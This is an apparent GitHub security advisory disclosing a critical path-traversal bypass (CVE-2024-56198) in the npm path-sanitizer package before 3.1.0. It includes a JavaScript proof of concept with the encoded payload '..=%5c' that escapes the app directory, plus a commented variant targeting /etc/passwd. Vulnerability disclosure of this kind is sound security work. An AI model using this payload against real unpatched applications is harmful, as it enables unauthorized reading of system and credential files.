Skip to content

Bypassing the existing filters to achieve path-traversal vulnerability

Critical
cabraviva published GHSA-94p5-r7cc-3rpr Dec 31, 2024

Package

npm path-sanitizer (npm)

Affected versions

<3.1.0

Patched versions

3.1.0

Description

Summary

This is a POC for a path-sanitizer npm package. The filters can be bypassed and can result in path traversal.

Payload: ..=%5c can be used to bypass this on CLI (along with other candidates). I am assuming something similar would work on web apps as well.

PoC

Here's the code to test for the filter bypass (I am basing this on the example provided in the documentation.)

const sanitize = require("path-sanitizer")
const path = require("path")
const fs = require("fs")

// Real scenario:
function routeHandler(myPath) {
  // Lets just assume that the path was extracted from the request
  // We want to read a file in the C:\Users\user\Desktop\myApp\ directory
  // But the user should be able to access C:\Users\user\Desktop\
  // So we need to sanitize the path

  const APP_DIR = "/var/hacker"
  const sanitized = path.join(APP_DIR, sanitize(myPath))

  // Now we would usally read the file
  // But in this case we just gonna print the path
  // console.log(sanitized)
  return sanitized
}

function readFile(filePath) {
  const absolutePath = path.resolve(filePath) // Resolve to absolute path

  fs.readFile(absolutePath, "utf8", (err, data) => {
    if (err) {
      console.error(`Error reading the file: ${err.message}`)
      return
    }
    console.log(`Contents of the file ${filePath} :\n${data}`)
  })
}

input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt"
// input_user_bypass = "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd"
input_user_payload = "../../../../../../../../tmp/hacked.txt"

readFile(routeHandler(input_user_bypass))
readFile(routeHandler(input_user_payload))

I am also attaching a video POC: (this is a Loom POC, only users with the UUID of the video can see it)

https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d

Impact

Any CLI tool or library using this package can be/will be vulnerable to Path traversal.

Severity

Critical

CVE ID

CVE-2024-56198

Weaknesses

No CWEs

Credits